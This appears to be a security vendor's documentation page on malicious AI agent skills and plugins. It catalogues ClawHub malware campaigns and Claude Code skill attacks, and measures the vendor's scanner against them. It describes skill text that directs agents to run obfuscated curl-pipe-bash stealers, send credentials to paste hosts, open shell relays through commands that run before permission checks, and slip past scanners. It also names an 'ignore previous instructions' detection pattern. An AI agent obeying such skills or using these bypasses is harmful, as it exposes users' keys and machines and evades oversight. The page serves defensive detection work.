Malicious Skills and Plugins

The incidents

• ClawHavoc — Koi Security, 1 February 2026 (ClawHub). As quoted from Koi by The Hacker News on 2 February: “A security audit of 2,857 skills on ClawHub has found 341 malicious skills across multiple campaigns”, 335 of them using “fake pre-requisites to install an Apple macOS stealer named Atomic Stealer (AMOS)”; Koi's researcher quoted is Oren Yomtov. Windows victims were pointed at a zip on GitHub, macOS victims at an obfuscated snippet on glot.io whose second stage came from a bare IP address; other skills hid reverse shells in working code or sent ~/.clawdbot/.env to webhook.site. Every Koi write-up has redirected to Palo Alto Networks since the acquisition closed on 14 April 2026, so those figures are carried by a secondary and stated as such. Two independent primaries on the same campaign were read whole. OpenSourceMalware, 1 February (updated 2–3 February): 28 malicious skills published between 27 and 29 January, then 386 between 31 January and 2 February; hightower6eu alone 354 of them and “almost 7000 downloads”; 353 of the 386 pointing at GitHub releases in hedefbari/openclaw-agent and Ddoy233/openclawcli (both “not found” on GitHub on 20 September 2026); Windows a password-protected AuthTool.zip, macOS a base64-wrapped bash line fetching a binary and stripping its quarantine attribute — “probably a new strain of the NovaStealer malware” in its words, where Koi says AMOS. Antiy CERT, 6 February: “at least 1,184 malicious Skills have historically appeared on ClawHub” as of 5 February, from twelve author IDs, hightower6eu 677 of them. ClawHub's response, 7 February: every bundle hashed and checked against VirusTotal, with the platform's own caveat that “VirusTotal scanning won't catch everything. A skill that uses natural language to instruct an agent to do something malicious won't trigger a virus signature.”
• The clawhub and clawdhub1 skills — Snyk, 4 February 2026 (ClawHub). Two skills by zaycv: clawhub, 7,743 downloads, removed on 3 February, and clawdhub1, nearly 100 installs and still live at publication — the registry's own name taken as a skill slug, “masquerading as an official CLI tool for managing agent skills”, and its one-insertion sibling. (“clawdhub” is Snyk's name for the campaign; there was no skill of that name.) The Windows instruction linked a release by Ddoy233, openclawcli.zip, “password-protected (password: openclaw)” — “a deliberate tradecraft technique used to bypass automated security scanners”. The macOS instruction pointed at a glot.io snippet that printed a benign message and piped a base64 string into bash; the decoded line was a curl … | bash from a bare IPv4 address, “a non-reputable IP address that bypasses domain blocklists”. The payload: an infostealer with reverse-shell capability. Corroborated by openclaw/clawhub issue #124 of the same day, on zaycv's linkedin-job-application: “base64-obfuscated curl-pipe-bash” repeated four times in its SKILL.md.
• ToxicSkills — Snyk, 5 February 2026 (ClawHub and skills.sh). 3,984 skills as of that date; 1,467 of them (36.82%) with a flaw of any severity — the post's title calls them “malicious payloads”, its body counts them as vulnerable of any severity, so this page prints “flawed”; 534 (13.4%) with a critical issue; 76 malicious payloads confirmed by human review; 8 still live on clawhub.ai at publication; “100% of confirmed malicious skills contain malicious code patterns, while 91% simultaneously employ prompt injection techniques” — Snyk's figures, not this roster's. Operators named: zaycv (“40+” skills by Snyk's count), Aslaep123, pepe276, moonshine-100rze, and the payload repository aztr0nutzs/NET_NiNjA.v1.2, created 22 January 2026 and still present on GitHub on 20 September. The shapes quoted: curl -sSL …/helper.zip -o helper.zip; unzip -P "…" helper.zip, and eval $(echo "…" | base64 -d) decoding to a curl that posts ~/.aws/credentials. Published beside it, snyk-labs/toxicskills-goof: a fake vercel skill that sends uname -a to a paste host and a “testing-guidelines” skill hiding its instruction by ASCII smuggling. Two follow-ups, both Snyk: google-qx4, 10 February — prerequisites in the SKILL.md, a password-protected zip on GitHub, a rentry.co paste holding the stager; “clones often pop up within hours” — and SkillGuard, 11 February — a “scanner” skill by c-goro that was a reverse shell with credential exfiltration; removed, “hundreds retained the compromised version”; a rival scanner skill reported “0 findings” on Snyk's test skill, and the post's conclusion is that pattern matching without intent analysis is “false security”.
• “Skill Issues” — Reversec Labs, 5 May and 24 June 2026 (Claude Code). James Henderson, part 1: “without additional frontmatter, skills are subject to users' consent when the prompt shows. But with the allowed-tools header, suddenly skills can execute commands.” A skill with allowed-tools: Bash(*) and a dynamic-context line — !`socat tcp:127.0.0.1:8080 exec:/bin/bash` — gives a shell relay, because “it is specifically the dynamic-context inputs that skip the LLM reasoning and execute before any checks”; an agent file with permissionMode: bypassPermissions “did not prompt before running arbitrary bash commands despite my settings”. The defence that held: denying Bash in settings, “regardless of what the skill file says it can do”. Part 2: exfiltration of SSH keys, AWS credentials and environment variables by context separation, and a backdoor in Entra ID token verification, through claude --agent launched with nohup. Neither part records a disclosure to Anthropic or a response, and this page attributes none. What the Claude Code changelog records, dated by its GitHub releases: disableSkillShellExecution in 2.1.91 (2 April 2026, before the post); agent frontmatter hooks requiring workspace trust in 2.1.218 (22 July); an agent's bypassPermissions no longer ignoring the org policy in 2.1.223 (6 August); defaultMode: "bypassPermissions" in project settings ignored in 2.1.257 (1 September); a skill's inline ! command in auto mode following the default permission rules in 2.1.271 (14 September). The sub-agents reference today: a subagent runs in bypassPermissions only when the main conversation does. The skills reference: “Workspace trust doesn't gate allowed-tools.”
• Clawsights — Datadog Security Labs, 11 May 2026 (Claude Code, live). Nick Frichette and Ryan Simon: a skill installed from a public GitHub repository (clawsights/clawsights, created 9 February 2026, last pushed 5 March, present on 20 September) whose dynamic-context commands “retrieve the GitHub token and upload it before the rendered skill reaches the model” — “Each dynamic context command executes immediately (before Claude sees anything)”. Datadog's mitigation: "disableSkillShellExecution": true in managed settings.
• Repo-jacking the community marketplace — John Stawinski IV, 18 June 2026 (Claude plugins). Five entries in anthropics/claude-plugins-community pointed at GitHub owners that had been renamed or deleted — mailfnguides-del/Claude-Paste, comment-io/claude-code-plugin, CharlieGreenman/ghostlty-dynamic-themes, Chipkorvyn/Strategy-consultant, oduffy-delphi/deep-research-claude — “open invitation[s] to register the name, recreate the repo, and serve whatever [an attacker] want[s]”. Each install was pinned to a commit SHA, so “a recreated repository can carry the same name and the same files, but it cannot reproduce the pinned commit with any modified content”: no plugin was compromised; the author registered one owner and repository as proof. Reported 25 May, closed the same day as “Informative, out of scope”.
• Not matched, stated as such — bob-p2p, Straiker, 17 February 2026 (ClawHub → Moltbook). A skill, bob-p2p-beta by “26medias”, instructed agents to “store users' Solana wallet private keys in plaintext”, buy a worthless token and “route all payments through attacker-controlled aggregator infrastructure”; marked active at publication. The post says “around five percent” of the skills examined were overtly malicious or in dangerous grey areas and gives no denominator; the figures 3,505 analysed, 71 overtly malicious and 73 high-risk are SecurityWeek's, as quoted from Straiker by SecurityWeek on 23 February. This is an instruction to misuse a key, not to read or send one, and the roster's instruction shapes do not match it; provenance and the blocklist by owner are the answer, and this page does not claim otherwise.

Two research notes frame the rest. The Cloud Security Alliance's 6 May 2026 note on “Agent Context Poisoning”: “The attack surface is not a code path — it is a document that agents are designed to trust and follow.” (It repeats Snyk's figures and attributes Koi's 341 to Snyk, which is wrong; this page does not.) And its 10 June note, “AI Agent Skill Scanners: Bypassed Across the Board”: ClawHub's VirusTotal Code Insight bypassed by whitespace inflation of roughly 100,000 newlines before the payload, Cisco's skill scanner by a precompiled .pyc, skills.sh's audits by embedding the payload in a DOCX, LLM-based layers by prompt injection; “No single scanner caught all four malicious skills”; three of the four bypasses “required less than one hour to develop”; “Don't outsource trust to a scanner”. That last line applies to this roster too, and the measurement below is read with it in mind.

Nothing on the marketplaces, nothing named on skills.sh

Searched on 20 September 2026 for every combination of “malicious skill”, “malicious plugin”, ClawHub, skills.sh, Claude Code, SKILL.md and marketplace: everything that surfaced traces to the incidents above or to secondaries of them. No malicious plugin has been publicly reported in anthropics/claude-plugins-official or anthropics/claude-plugins-community, and no skills.sh-hosted skill has been named as malicious by a primary write-up — skills.sh appears in the record as one of ToxicSkills' two sources and as a scanner-bypass target, nothing more. So this page names ClawHub campaigns and Claude Code attack shapes, and never a marketplace campaign that did not happen.

The ecosystem the checks read

The Agent Skills specification (agentskills.io; “originally developed by Anthropic, released as an open standard”): a skill is a directory with a required SKILL.md and optional scripts/, references/ and assets/; frontmatter name (required, at most 64 characters, lowercase letters, digits and hyphens, matching the parent directory) and description (required, at most 1,024); compatibility (at most 500, “environment requirements (intended product, system packages, network access, etc.)”); allowed-tools (“Space-separated string of pre-approved tools the skill may use. (Experimental)”); “Keep your main SKILL.md under 500 lines.” Claude Code adds its own fields, among them the dynamic-context !`command`, which runs “before the skill content is sent to Claude”. skills.sh installs with npx skills add owner/repo from GitHub, discovering SKILL.md at the root, under skills/ and under some fifty agent directories; its README carries no statement on signing or verification; its leaderboard header reads “All Time (1,480,226)” with no unit, and per-skill install counts have no API; its Audits page combines Gen, Socket and Snyk, and 23 of the 50 skills shown were Pending. ClawHub keys skills as @owner/slug; its API answers a skill with its SKILL.md text and a moderation object, and carries no source repository, no file list and no checksum. It publishes no account record either — there is no owner endpoint — so on ClawHub the owner's age is not assessed and a listing under the threshold is treated as unestablished. RepoGates reads the listing's own record and its published package there (streamed under a 512 KB cap, at most twelve files of 64 KB), and carries ClawHub's own moderation verdict as evidence, never as clearance: a listing it has blocked as malware is a critical finding under S10 that blocks, one it marks suspicious a high one that warns, and its silence on every other listing clears nothing. The Claude Code marketplaces: the official one is “curated by Anthropic, and inclusion is at Anthropic's discretion”, with the README's own line that “Anthropic does not control what MCP servers, files, or other software are included in plugins and cannot verify that they will work as intended or that they won't change”; the community one “hosts third-party plugins that have passed Anthropic's automated validation and safety screening”, each “pinned to a specific commit SHA”. A plugin's source takes seven forms, including an archive and a command run on the user's machine; the docs' own sentence is that “Plugins and marketplaces are highly trusted components that can execute arbitrary code on your machine with your user privileges.” Two entry points, stated wherever the hook is named: /plugin install name@marketplace is a slash command inside the session, which no PreToolUse hook sees; claude plugin install name@marketplace is a shell line.

What the roster matches

Sixteen checks, each with its own page, on the two things a skill is: a repository someone published, and a document an agent follows. S1 runs the 22 repository checks on the source and lets their verdict ride along; S2, S3 and S4 read the listing's age, its owner's, traction that outruns them, and a name one edit from a known one — the clawhub beside ClawHub. S5, S6 and S7 read what the skill declares — its frontmatter, its allowed-tools, an agent's permissionMode. S8 reads for invisible codepoints, and S9 matches nine named shapes in the text: the base64 line piped into a shell, the password archive beside a URL, curl piped into sh, a read of ~/.aws/credentials, a send to a paste host, a dynamic-context command that fetches or opens a relay, a permission-bypass flag, an “ignore previous instructions” phrase, any of those in an HTML comment — each with a 60-character negation window, so a skill that warns against a shape does not fire. S9 matches these shapes; it does not detect prompt injection, and no page of this site says it does. S10 reads the scripts beside the skill as code and lists the binaries it cannot read; S11 notes size. For a plugin, S12 reads how the marketplace pins it, S13 and S14 apply the C20 shell-fetch rule to its hooks, monitors and MCP servers, and S15 reads for a base URL pointed at a stranger's host. And S16, added on 10 October 2026, puts the two sides together: what the description and allowed-tools say, beside what the scripts and hook commands do. The tier reads the listing record, the tree once, and at most twelve files of 64 KB each; on ClawHub the record carries the whole SKILL.md and the published package is streamed under a 512 KB cap for the files beside it; the deep scan reads the whole package of a GitHub-hosted skill.

Measured on skills.sh, the two Anthropic marketplaces and ClawHub

Run through the product's own engine, the same code as /v1/skill/score, under the 6.5-second deadline: the three GitHub-hosted lists on 20 September 2026, after the calibration the first run of that day forced, and ClawHub's own top 100 and the named incidents on 25 September 2026. The ClawHub timings are higher than the rest because that platform builds the zip on request and its record was slow that day; the whole download sits inside the same deadline, and a package that misses it is a partial scan. Five of the 99 records answered after the 4-second record timeout on the first pass and were asked again, as the product itself answers such a request (“try again in a minute”); the rows, with every attempt, are docs/36-clawhub-rows-2026-09-25.json. The 33 GitHub-hosted rows S1 fired on were measured again on 27 September 2026, after S1 began grading a BLOCK source repository as critical; the verdict columns carry that run for them (docs/36-s1-block-rows-2026-09-27.json), and the partial and timing columns the 20 September run:

Of the 19 incident keys, 6 answer “gone” — three repositories no longer on GitHub, the two ClawHavoc payload hosts among them, and three ClawHub listings the platform has removed (zaycv's clawhub and clawdhub1, c-goro's skillguard, all 404 on 25 September 2026); every one of the six is a warning, never a pass. The fourth ClawHub listing, 26medias/bob-p2p-beta, is still published and now measurable: the roster reads its record and fires nothing on its text — PASS on what was read, a partial scan because its package did not arrive inside the deadline that day — and ClawHub's own moderation has not flagged it. Straiker's account of it is suspected, the skill may not be what it was in February, and neither our silence nor ClawHub's is a clearance. The one BLOCK is Snyk's own fixture repository, snyk-labs/toxicskills-goof: critical hidden Unicode in its “testing-guidelines” skill (171 tag codepoints — the ASCII smuggling of the ToxicSkills post), the fake vercel skill's curl --data "$(uname -a)" to a paste host under two directories, a curl … | bash, a !`curl … | bash` dynamic-context line, and a cat .env beside the send — four of the roster's shapes at once, on the repository written to exercise them. Datadog's clawsights/clawsights is REVIEW 40 on two reads of ~/.claude/… and two sends, exactly the shape the write-up describes; ToxicSkills' aztr0nutzs/NET_NiNjA.v1.2 is REVIEW 62 on its three archives, with 116 of its 128 files unread on this tier. The repo-jacked community entries, present today and SHA-pinned, pass.

What a BLOCK meant on the three lists. On skills.sh, all 28 are five repositories — 101-skills/superpowers, designed-by-ai/skills, flowkit-labs/skills, genmedia-labs/skills, prime-skills/runcomfy-agent-skills — under owners between 16 and 74 days old, whose own C1/C2 verdict is BLOCK and which carry 31 listings between them. A skill is its source repository, so each is BLOCK on S1 as the repository is, and your policy profile acts on it as it acts on the repository: five signals, not 28. They were REVIEWs on 20 September, when S1 graded a BLOCK source as high. The community list's one BLOCK, sentinal-stack, is the same finding on an owner 36 days old.

What a REVIEW meant on the three lists. On skills.sh, two of the eight are an archive beside a SKILL.md on anthropics/skills and vercel-labs/agent-skills (S10, graded HIGH by the letter of the rule and marked for review); six are one owner's directories named *-skill against their frontmatter names (S5). On the official marketplace, fifteen of the 27 are what the shape says or as designed — Carta's, Semgrep's and Zscaler's compiled hooks and zips, empty names and a missing description, jfrog writing a token into ~/.netrc and saying so, Vercel's own gateway redirect beside a --dangerously-skip-permissions line — five are gradings decided and listed so they can be revisited, and eight are misreads the record names one by one with the rule that closes each: a sentence describing what a tool blocks, a description of ~/.aws/credentials as an INI file, a vendor's installer on its short domain or behind a variable, a plugin's own repository on GitHub's raw host, a POST to a placeholder host, defence text about third-party data, a -skill suffix on a directory. On the community marketplace, four of the six are real or graded and two are one misread. None of the misreads is a BLOCK; the worst is a REVIEW on a line the skill's author would recognise as their own. The REVIEW rates — 36 of 189, 28 of 310, 6 of 100 — are printed with their drivers because a rate without them is a number to hide behind.

What a REVIEW meant on ClawHub. 16 of the 99, each read by hand: eight declare a name outside the specification's lowercase-and-hyphens shape (“Excel / XLSX”, “Data Analysis”, one empty), three publish frontmatter that does not parse — none at all, or a description with an unquoted colon — and four declare the name of a known skill under another owner (find-skills, agent-browser, frontend-design, self-improving-agent): republished, not necessarily hostile, which is what a warning means. ClawHub publishes no account record, so the owner is never established there and the inner-name comparison is always on. One is a misread: a vetting skill's own red-flag list — “Reads ~/.ssh, ~/.aws, ~/.config without clear reason”, under a heading that says to reject such a skill — read as an instruction, the defence-vocabulary gap the roster shares with the GitHub lists. False-REVIEW rate: 1 of 99. Thirteen rows are partial scans: ten packages did not arrive inside the deadline and one timed out, leaving the scripts and the package documents listed as not checked, and two are past the twelve-file cap. S1 is not checked on any of the 99 — ClawHub declares no source repository — and ClawHub's own moderation had flagged none of them. Nothing malicious was in this population: 0 BLOCK here is a false-positive measurement, not a catch rate.

The first run, and what it forced. The same day's first measurement said 49 PASS / 256 REVIEW / 5 BLOCK on the official marketplace and 0 / 99 / 0 on the community one, and every BLOCK was the roster's. Two were product defects: every plugin key answered “not assessable” in production because the marketplace catalogue was read through the 64 KB per-file cap (the official catalogue is 185,864 bytes, the community one 1,565,989), and a YAML date under a skill's metadata raised an error. The rest were gradings: the lookalike check comparing a catalogue entry to itself (250 official and 98 community false fires, to none); the credential-redirect rule firing on the name of a variable rather than an assignment (five of the six BLOCKs); a listing of dangerous shapes in a table read as an instruction; a defence against “ignore previous instructions” read as the phrase; a vendor's own installer read as a stranger's; a script's docstring read as its code; a fresh repository from an established owner graded as though the owner were new too. Each rule has its evidence row pinned in the roster's tests and its letter on the check page it changed. The numbers above are from the run after them.

The gate. The roster shipped against a stated condition: zero false BLOCKs on the three lists, the false-REVIEW rate printed with its drivers, every reconstructed fixture at REVIEW or worse and the four campaign shapes — the clawdhub macOS and Windows files, the ToxicSkills AWS and helper-zip files — at BLOCK, timing under the deadline from a far client, and every partial scan counted. Met on 20 September 2026: 0 BLOCK on 189, 310 and 100 keys; medians 1.5 s on a skill key and 2.2–2.6 s on a plugin key, p90 no worse than 3.3 s, no row at the deadline; 159 partial scans, every one the twelve-file cap's note or a source repository not visible, none silent. Eleven remaining misreads are listed in the measurement record with a proposed rule each; none is a BLOCK. Since the gate was met, a skill whose source repository is BLOCK is BLOCK itself — a product rule, not a calibration — which turns the 28 skills.sh keys and one community plugin above into BLOCKs, each on a young-owner finding the measurement record judged real. ClawHub's gate, measured 25 September 2026: the same conditions on ClawHub's own top 100 — 0 BLOCK on the 99 it answers, the false-REVIEW rate (1 of 99) printed with its drivers above, and the two clawdhub shapes read from a ClawHub record, not a GitHub tree, still at BLOCK. The one condition it only half meets is time: a median of 5.1 s and a p90 of 6.3 s under the 6.5-second deadline, because ClawHub builds each zip on request, and a package that misses the deadline is a partial scan that says so.

S16, measured 10 October 2026. The roster's sixteenth check, declared versus actual behaviour, was run over the three GitHub-hosted lists as they stood that day — 597 keys: 187 on skills.sh (151 / 10 / 26), the 310 official plugins (282 / 28 / 0) and the first 100 community plugins (94 / 5 / 1), as PASS / REVIEW / BLOCK. It wrote ten rows on nine keys, every one a note, and changed no verdict; every BLOCK in those figures is S1's, a BLOCK source repository. These are that day's lists, not the table above restated: skills.sh resolved to 187 keys where September's run had 189. What the run did not exercise is on the check's page — no listing under ninety days old carried a gap, and more than half the candidate files were left unread under the twelve-file cap — so the figure is the cost of the check on honest listings, never a catch rate. The rows are docs/36-s16-rows-2026-10-10.json.

Why the PASS rate is not Mondoo's

Mondoo's AI Skills Check product page, read on 20 September 2026, shows a live counter that Mondoo does not date: 58,983 skills scanned, 47,054 threats, 11,929 “clean” — 20% — with 3,195 critical, 17,565 high, 74,836 medium and 57,680 low findings; five registries (ClawHub, skills.sh, GitHub, the Claude marketplace, SkillsMP); a six-layer pipeline with 59 regex rules, 13 YARA rules and 28 threat subcategories. Its launch release of 21 April 2026 named no scan total and cited “1,184 malicious skills identified on ClawHub in 2026” — Antiy's figure, unattributed there. Those are Mondoo's numbers, stated as Mondoo's, and this roster's 153, 283 and 94 PASS on 189, 310 and 100 keys is not the same measurement, for four reasons.

1. Different sets. Mondoo's counter runs over the whole of five registries, including the ClawHub long tail where every campaign above lived; these sets are the hundred most-installed skills.sh skills and Anthropic's two reviewed catalogues. A scanner of the whole registry should find more.
2. Different arithmetic. Mondoo's “clean” is zero findings of any severity, and its own counter carries 74,836 medium and 57,680 low findings, so a skill with one low finding is not “clean” there. RepoGates' verdict is the maximum over its checks, and a note never moves it: a declared allowed-tools: Bash(*), a compatibility line asking for the network, a bin/ directory or an MCP server on an established listing is a note, because that is what the skill declares it does — the same principle that graded the VS Code and Docker Desktop rosters before it. A PASS here is “nothing matched on what was read”, not “clean”.
3. Different method. Mondoo runs an ML prompt-injection classifier and LLM analysis. This tier matches named regex and structure classes with a 60-character negation window, prints the calibration of every class by name on the S9 page, reads at most twelve files and 64 KB per file, and makes no claim about prompt injection; the deep scan reads everything, and the customer-key AI review on an over-cap scan is the customer's own model, not RepoGates'.
4. Every scanner is bypassable, this one included. The Cloud Security Alliance's 10 June note defeated four vendors' scanners with whitespace, bytecode, a document and a rephrasing, three of the four in under an hour. A PASS from RepoGates is subject to the same limit — which is why the verdict is a gate on the download and the install line, backed by a blocklist that does not depend on matching, and never a promise.

What actually blocks these, in the product

Five entries in RepoGates' campaign blocklist (platform: skill, confidence: confirmed, source Snyk's ToxicSkills post of 5 February 2026, expiring 20 September 2027) — the operators the post names, zaycv, Aslaep123, pepe276 and moonshine-100rze, by owner across every source a skill key can carry, and the payload repository aztr0nutzs/NET_NiNjA.v1.2 by key — run ahead of the roster and ahead of an account's own allowlist. An owner entry is the unit that matters here because it was the campaign's unit: accounts days old, publishing dozens of skills each, and re-registering when removed (Snyk on google-qx4: “clones often pop up within hours”). A skill whose source repository is listed is critical on S1 whatever the text says. The roster table above is what the checks alone found; the blocklist is the product's behaviour on these names. The ecosystem feed carries the campaign family as its sixth lane, with this page as its intelligence link.

What is not assessed

What ClawHub does not publish. The registry every campaign above lived on is read — but a listing there declares no source repository, so S1 is a listed skip on every ClawHub key, and ClawHub publishes no account record, so the owner's age is not assessed. A package over 512 KB, or one that does not arrive inside the scan deadline, leaves S10 and the package documents listed as not checked — never passed — and the row is a partial scan, retried rather than cached. A listing ClawHub no longer serves — removed, like the three above — answers “not assessable”, which the preflight and the MCP tool answer as ask; a listing ClawHub's own moderation has flagged is a finding, not a gap. A skill with no provenance — pasted from a chat, a gist, a zip — has no repository record to read and no listing, and the roster has nothing to say about it. Runtime behaviour. Nothing here runs a skill, opens an archive, follows a package name into a registry, or watches what an agent does with a grant it was given; the metadata tier reads text, the deep scan reads a package, and the agent check-up on the roadmap is where an installation's own skills, hooks and servers will be read. Scope, the same on every page of this roster: RepoGates does not see git clone, package managers or curl — outside Claude Code with the RepoGates plugin, whose hook refuses a clone or install that names a blocked repository on the command line, before it runs. The hook sees Bash tool calls in that one client and nothing else: npx skills add owner/repo and claude plugin install name@marketplace are shell lines it judges; /plugin install is a slash command the hook never sees; a skill copied by hand into ~/.claude/skills is never seen at all. Edit and Write are read for one thing only — an API key about to be saved — checked on the machine and never sent; that guard asks, it never denies.

What this doesn't mean

A skill or plugin that scores PASS today was checked today, on its source repository, its listing, what it declares and the text this tier read — at most twelve files of 64 KB — against nine named shapes and the C19–C21 rules. It is never a claim that the text is benign, never a claim about a script or an archive the tier listed and did not open, never a claim about what the skill does once an agent follows it, and, on ClawHub, never a claim about a source repository or an owner that platform does not publish. Every marketplace and registry named above passed the campaigns' skills through its own review; the roster reads those reviews as necessary, never as sufficient, and asks the same of itself.